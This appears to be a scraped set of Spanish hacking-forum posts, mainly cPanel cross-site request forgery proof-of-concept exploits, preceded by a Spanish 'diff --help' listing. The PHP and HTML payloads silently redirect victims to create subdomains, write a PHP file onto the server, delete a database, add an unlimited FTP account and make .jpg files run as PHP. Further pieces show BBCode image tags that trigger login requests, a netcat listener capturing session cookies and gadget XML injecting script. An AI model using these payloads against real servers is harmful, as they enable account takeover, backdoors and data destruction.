Eso no es error, lo que te está mostrando es el archivo de color rojo, o sea que si hay diferencias, si le haces doble click te mostrará las diferencias.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menúyan@Lola:~/Escritorio$ diff --help
Modo de empleo: diff [OPCIÓN]... FICHEROS
Compara ficheros línea por línea.
-i --ignore-case Descarta las diferencias entre mayúsculas y minúsculas
en el contenido de los ficheros.
--ignore-file-name-case Descarta las diferencias entre mayúsculas y
minúsculas al comparar los nombres de los ficheros.
--no-ignore-file-name-case Considera distintas mayúsculas y minúsculas
cuando compara los nombres de los ficheros.
-E --ignore-tab-expansion Descarta cambios debidos a expansiones de tabs.
-b --ignore-space-change Descarta las diferencias en la cantidad de espacios
en blanco.
-w --ignore-all-space Descarta los espacios en blanco.
-B --ignore-blank-lines Descarta los cambios cuyas líneas son todas vacías.
-I EXPR-REG --ignore-matching-lines=EXPR-REG Descarta las líneas que
coincidan con EXPR-REG.
--strip-trailing-cr Elimina los retornos de carro finales en la entrada.
-a --text Trata todos los ficheros como de tipo texto.
-c -C NÚM --context[=NÚM] Muestra NÚM (3 por omisión) líneas de contexto
-u -U NÚM --unified[=NÚM] Muestra NÚM (3 por omisión) líneas de contexto
unificado.
--label NOMBRE Usa NOMBRE en lugar del nombre de fichero.
-p --show-c-function Muestra en qué función C se encuentra cada cambio.
-F EXPR-REG --show-function-line=EXPR-REG Muestra la línea más reciente
que coincida con EXPR-REG.
-q --brief Indica sólo si los ficheros son diferentes o no.
-e --ed Produce un script ed.
--normal Produce un diff normal.
-n --rcs Produce un diff en formato RCS.
-y --side-by-side Genera salida en dos columnas.
-W NÚM --width=NÚM Genera como máximo NÚM (130 por omisión) caracteres
por línea.
--left-column Muestra sólo la columna izquierda en las líneas comunes.
--suppress-common-lines No muestra las líneas comunes.
-D NOMBRE --ifdef=NOMBRE Genera un fichero combinado que muestra las
diferencias con '#ifdef NOMBRE'
--GTYPE-group-format=GFMT Similar, pero formatea los grupos de entrada GTYPE
con GFMT.
--line-format=LFMT Similar, pero formatea todas las líneas de entrada
con LFMT.
--LTYPE-line-format=LFMT Similar, pero formatea las líneas de entrada LTYPE
con LFMT.
LTYPE es `old' (antiguo), `new' (nuevo) o `unchanged' (sin cambios).
GTYPE es como LTYPE o `changed' (cambiado).
GFMT puede contener:
%< líneas del FICHERO1
%> líneas del FICHERO2
%= líneas comunes a FICHERO1 y FICHERO2
%[-][ANCHO][.[PRECISIÓN]]{doxX}LETRA especificación printf para LETRA
Las LETRAs pueden ser como siguen para grupos nuevos (en minúsculas
para grupos antiguos):
F número de la primera línea
L número de la última línea
N número de líneas = L-F+1
E F-1
M L+1
LFMT puede contener:
%L contenido de la línea
%l contenido de la línea, excluyendo caracteres de nueva línea finales
%[-][ANCHO][.[PRECISIÓN]]{doxX}n especificación en estilo printf para el
número de línea de entrada
Tanto GFMT como LFMT pueden contener:
%% %
%c'C' el carácter C
%c'\OOO' el carácter con código octal OOO
-l --paginate Pasa la salida a través de `pr' para paginarla.
-t --expand-tabs Expande los tabuladores a espacios en la salida.
-T --initial-tab Hace que los tabuladores se alineen anteponiendo uno.
-r --recursive Compara recursivamente todos los subdirectorios.
-N --new-file Trata los ficheros que no existan como vacíos.
--unidirectional-new-file Trata los ficheros originales que no existan
como vacíos.
-s --report-identical-files Notifica cuándo dos ficheros son idénticos.
-x PAT --exclude=PAT Excluye los ficheros que coincidan con PAT.
-X FICHERO --exclude-from=FICHERO Excluye los ficheros que coincidan con
alguna expresión regular de FICHERO.
-S FICHERO --starting-file=FICHERO Comienza por FICHERO cuando se comparan
directorios.
--from-file=FICHERO1 Compara FICHERO1 con todos los operandos.
FICHERO1 puede ser un directorio.
--to-file=FICHERO2 Compara todos los operandos con FICHERO2.
FICHERO2 puede ser un directorio.
--horizon-lines=NÚM Mantiene NÚM líneas de prefijos y sufijos comunes.
-d --minimal Se esfuerza en encontrar un grupo de cambios menor.
--speed-large-files Supone que los ficheros son grandes y los cambios son
numerosos, pequeños y dispersos.
-v --version Informa de la versión y finaliza.
--help Muestra esta ayuda y finaliza.
FICHEROS puede ser `FICHERO1 FICHERO2' o `DIRECTORIO1 DIRECTORIO2'
o `DIRECTORIO FICHERO...' o `FICHERO... DIRECTORIO'.
Si se da --from-file o --to-file, no hay restricciones en FICHEROS.
Si un FICHERO es `-', lee la entrada estándar.
Comunicar bichos a <bug-gnu-utils@gnu.org>.
yan@Lola:~/Escritorio$
<?php
/* Host vulnerable */
$dominio_vulnerable = 'ejemplo.com';
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$directorio_nuevo = 'cpwned';
$subdominio_nuevo = 'cpwned';
if($_SERVER['HTTP_REFERER']){
header(
'location: '.
$cpanel_vulnerable.
'frontend/x3/subdomain/doadddomain.html?domain='.
urlencode($subdominio_nuevo).
'&rootdomain='.
urlencode($dominio_vulnerable).
'&dir=public_html%2F'.
urlencode($directorio_nuevo).
'&go=Create'
);
}else{
echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}
?>
<?php
/* Datos del host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$archivo = 'cpwned.php';
$directorio = '/home/ejemplo/public_html/';
$payload = '<'.'?php phpinfo(); ?>';
?>
<html>
<body>
Muestra de ejemplo.
<form method="post" action="<?php echo $cpanel_vulnerable; ?>frontend/x3/filemanager/savefile.html">
<input type="hidden" name="doubledecode" value="1" />
<input type="hidden" name="ufile" value="<?php echo $archivo; ?>" />
<input type="hidden" name="file" value="<?php echo $archivo; ?>" />
<input type="hidden" name="udir" value="<?php echo urldecode($directorio); ?>" />
<input type="hidden" name="dir" value="<?php echo urlencode($directorio); ?>" />
<input type="hidden" name="__cpanel__temp__charset__" value="us-ascii" />
<input type="hidden" name="path" value="<?php echo urldecode($directorio).$archivo; ?>" />
<input type="hidden" name="charset" value="us-ascii" />
<input type="hidden" name="page" value="<?php echo urlencode($payload); ?>" />
</form>
<script>
document.getElementsByTagName('form')[0].submit();
</script>
</body>
</html>
<?php
/* Host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$base_de_datos = 'empresa_productos';
if($_SERVER['HTTP_REFERER']){
header(
'location: '.
$cpanel_vulnerable.
'frontend/x3/sql/deldb.html?db='.
urlencode($base_de_datos)
);
}else{
echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}
?>
POST /frontend/x3/ftp/doaddftp.html HTTP/1.1
Host: www.ejemplo.com:2082
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.ejemplo.com:2082/frontend/x3/ftp/accounts_pure-ftpd.html
Cookie: cookies
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
login=cpwned&password=cpwned&password2=cpwned&homedir=public_html%2F"a=unlimited
<?php
/* Host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
if($_SERVER['HTTP_REFERER']){
header(
'location: '.
$cpanel_vulnerable.
'frontend/x3/ftp/doaddftp.html?login=cpwned&password=cpwned&'.
'password2=cpwned&homedir=public_html%2F"a=unlimited'.
urlencode($base_de_datos)
);
}else{
echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}
/* Se creará una cuenta ftp con el usuario cpwned y password cpwned ilimitada */
?>
<?php
/* Host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$mimetype = 'application/x-httpd-php';
$extension = 'jpg';
if($_SERVER['HTTP_REFERER']){
header(
'location: '.
$cpanel_vulnerable.
'frontend/x3/mime/addmime.html?mimet='.
urlencode($mimetype).
'&ext='.
urlencode($extension).
'&submit=Add'
);
}else{
echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}
/* Ahora los archivos .jpg son ejecutables de php :D */
?>
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
yan@Lola:~/Escritorio$ sudo nc -vlp 99
[sudo] password for yan:
listening on [any] 99 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 44829
GET / HTTP/1.1
Host: 127.0.0.1:99
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=xxxx; SMFCookie891=xxxx; cprelogin=no; cpsession=closed;
testing=1; sid=000000; wp-settings-time-1=0000; wp-settings-1=xxxxxx;
wordpress_test_cookie=WP+Cookie+check
<?xml version="1.0" encoding="UTF-8"?>
<Module>
<ModulePrefs
title="__MSG_poctitle__"
directory_title="__MSG_pocdirtitle__"
title_url="http://foro.elhacker.net/"
author="WHK"
author_affiliation="ElHacker.NET"
author_location="Chile, CL"
author_email="www.kernel32@gmail.com"
screenshot="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
thumbnail="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
scrolling="false">
</ModulePrefs>
<Content type="html" view="canvas"><![CDATA[
<script>
alert('Ejecucion de codigo');
</script>
]]></Content>
</Module>
<?xml version="1.0" encoding="UTF-8"?>
<Module>
<ModulePrefs
title="__MSG_poctitle__"
directory_title="__MSG_pocdirtitle__"
title_url="http://foro.elhacker.net/"
author="WHK"
author_affiliation="ElHacker.NET"
author_location="Chile, CL"
author_email="www.kernel32@gmail.com"
screenshot="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
thumbnail="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
scrolling="false">
</ModulePrefs>
<Content type="html" view="canvas"><![CDATA[
<script>
top.location.href = 'http://foro.elhacker.net/';
</script>
]]></Content>
</Module>